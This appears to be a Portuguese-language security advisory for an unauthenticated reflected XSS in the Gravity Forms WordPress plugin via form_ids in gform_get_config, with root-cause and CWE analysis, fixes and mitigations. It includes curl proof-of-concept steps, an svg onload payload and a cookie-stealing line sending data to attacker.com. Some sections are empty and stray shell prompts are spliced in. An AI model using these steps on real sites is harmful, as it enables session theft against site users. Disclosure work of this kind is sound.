Registro Público Wordfence

Descrição

O plugin Gravity Forms para WordPress (testado até a versão 2.9.28) é vulnerável a cross-site scripting (XSS) refletido não autenticado via o parâmetro form_ids na ação AJAX gform_get_config. A vulnerabilidade existe porque os valores de form_ids fornecidos pelo usuário são refletidos literalmente na resposta HTTP do servidor sem qualquer sanitização, codificação ou escape de saída. A resposta é servida com um cabeçalho Content-Type: text/html; charset=UTF-8, o que faz com que o navegador analise e renderize o conteúdo refletido como HTML, incluindo quaisquer elementos de script injetados.

Um atacante não autenticado pode explorar esta vulnerabilidade para executar JavaScript arbitrário no contexto da origem do site WordPress alvo. Como a ação gform_get_config exige um config_nonce válido, e este nonce está publicamente embutido no código-fonte HTML de toda página que carrega um formulário do Gravity Forms, um atacante pode obter trivialmente um nonce válido solicitando qualquer página pública do site alvo antes de construir a solicitação de exploração.

A exploração bem-sucedida permite que um atacante roube cookies de sessão, execute ações em nome de usuários autenticados (incluindo administradores do WordPress), redirecione usuários para sites maliciosos, desfigure o conteúdo da página ou estabeleça acesso persistente por meio da criação de contas administrativas.

Análise da Causa Raiz

Endpoint Vulnerável```

POST /wp-admin/admin-ajax.php

Parâmetro Vulnerável

O parâmetro POST args aceita um objeto JSON contendo um array form_ids. Os valores nesse array são usados como chaves de objeto na estrutura da resposta JSON sem sanitização:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

Por Que Isso É Explorável

1. Sem Validação de Entrada: Os valores de form_ids não são validados como inteiros, sanitizados ou filtrados. O servidor aceita conteúdo arbitrário em formato de string, incluindo tags HTML e manipuladores de eventos.
2. Sem Codificação de Saída: Os valores de form_ids são refletidos no corpo da resposta sem codificação de entidades HTML. Caracteres como <, >, " e ' passam sem modificação.
3. Content-Type HTML: A resposta é servida com Content-Type: text/html; charset=UTF-8, o que instrui o navegador a interpretar o corpo da resposta como HTML. Quaisquer tags HTML dentro do valor refletido são instanciadas e renderizadas pelo parser HTML do navegador.
4. Nonce Publicamente Acessível: O config_nonce exigido pela ação gform_get_config está embutido no objeto de configuração JavaScript (gform_theme_config) em toda página que carrega um formulário Gravity Forms. Esse nonce é idêntico em todas as páginas e não está vinculado a uma sessão de usuário específica, tornando-o trivialmente obtido por usuários não autenticados.

Análise CWE

Esta vulnerabilidade é o resultado de múltiplas fraquezas contribuintes que se encadeiam para produzir a condição explorável. Embora CWE-79 seja a classificação primária para fins de relatório CVE, a cadeia completa documenta como cada falha se combina para permitir a exploração.

Cadeia de Fraquezas```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: Codificação ou Escape de Saída Incorreta (Falha Técnica Primária)

Função: Vulnerabilidade central — a causa direta da condição de XSS.

Quando o servidor constrói a resposta JSON contendo os valores de form_ids, ele não aplica codificação de entidades HTML à saída. Caracteres com significado especial em HTML (<, >, ", ', &) passam sem modificação para o corpo da resposta. As funções PHP htmlspecialchars(), esc_html(), wp_json_encode() com JSON_HEX_TAG, ou funções equivalentes de codificação de saída não são aplicadas aos valores de form_ids antes de serem gravados na resposta.

Evidência: A string literal <svg onload=alert(document.domain)> aparece no corpo da resposta byte a byte idêntica à entrada, em vez de <svg onload=alert(document.domain)>.

CWE-838: Codificação Inadequada para o Contexto de Saída (Agravante)

Função: Escalonamento de contexto — transforma um problema de reflexão de dados em injeção de código executável.

O corpo da resposta contém dados estruturados em JSON, mas é servido com Content-Type: text/html; charset=UTF-8. Essa declaração de Content-Type instrui o parser HTML do navegador a processar todo o corpo da resposta como um documento HTML. Se a resposta fosse servida como application/json, o navegador renderizaria a resposta como texto simples e nenhum parsing HTML ocorreria — as tags injetadas seriam exibidas como texto literal em vez de serem instanciadas como elementos DOM.

Evidência:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

Este nonce foi confirmado como:

• Idêntico em todas as páginas do site alvo (página inicial, páginas de formulário, páginas sem formulário)
• Não vinculado a uma sessão de usuário (mesmo valor retornado com ou sem cookies)
• Não rotacionado por requisição (estático por longos períodos)

Cabeçalhos de Segurança Presentes (Insuficientes)

Prova de Conceito

Ambiente

Passo 1: Obter um Nonce Válido

Solicite qualquer página no site alvo que carregue um formulário do Gravity Forms e extraia o valor de config_nonce:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

Passo 2: Enviar a Solicitação de Exploração

Envie uma solicitação POST para o manipulador AJAX do WordPress com um valor form_ids elaborado contendo um payload de XSS:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

Corpo da Resposta HTTP:```html

Response:```html

JavaScript descodificado:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

Cenário 3: DOM Takeover para Phishing

O XSS refletido pode substituir todo o DOM da página por uma sobreposição de phishing convincente (por exemplo, uma página de login falsa ou um prompt de expiração de sessão) para coletar credenciais diretamente.

Fluxo de Ataque```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. Codificação de Saída — Aplique wp_json_encode() com os sinalizadores JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ao construir a resposta JSON para garantir que caracteres significativos em HTML sejam escapados: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Correção de Content-Type — Defina o Content-Type da resposta como application/json em vez de text/html para todas as respostas JSON de AJAX. Isso impede que o navegador analise a resposta como HTML, mesmo que conteúdo não sanitizado seja refletido: ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. Escopo de Nonce — Considere vincular o config_nonce à sessão do usuário ou implementar limitação de taxa na geração de nonces para aumentar o custo da exploração automatizada.

Para Administradores de Sites (Mitigação Imediata)

1. Web Application Firewall (WAF) — Implante regras de WAF para detectar e bloquear tags HTML no parâmetro args de requisições POST para admin-ajax.php onde action=gform_get_config
2. Content Security Policy — Implemente uma diretiva CSP restritiva de script-src (ex.: script-src 'self') para impedir a execução de scripts inline mesmo se refletidos
3. Monitore Atualizações — Aplique o patch do Gravity Forms imediatamente quando for lançado
4. Audite Contas de Administrador — Revise as contas de administrador existentes para verificar adições não autorizadas

Linha do Tempo de Divulgação

Referências

• Documentação de Segurança do Gravity Forms
• [Contato de Segurança do Gravity Forms](mailto:[email protected])
• CWE-79: Neutralização Incorreta de Entrada Durante Geração de Página Web
• OWASP Cross-Site Scripting (XSS)
• API AJAX do WordPress — admin-ajax.php
• CVE-2023-2701 — XSS anterior no Gravity Forms (vetor diferente)
• CVE-2024-13377 — XSS armazenado anterior no Gravity Forms via parâmetro alt (vetor diferente)

Aviso Legal

Esta vulnerabilidade foi descoberta durante um engajamento de teste de penetração autorizado conduzido sob uma declaração de trabalho assinada com autorização escrita explícita. Todos os testes foram realizados dentro do escopo acordado, e as descobertas foram reportadas ao cliente imediatamente após a descoberta. Esta divulgação segue práticas de divulgação responsável. Nenhum sistema não autorizado foi acessado, e nenhum dado foi exfiltrado fora da validação controlada de prova de conceito.

Descoberto por: Anthony Cihan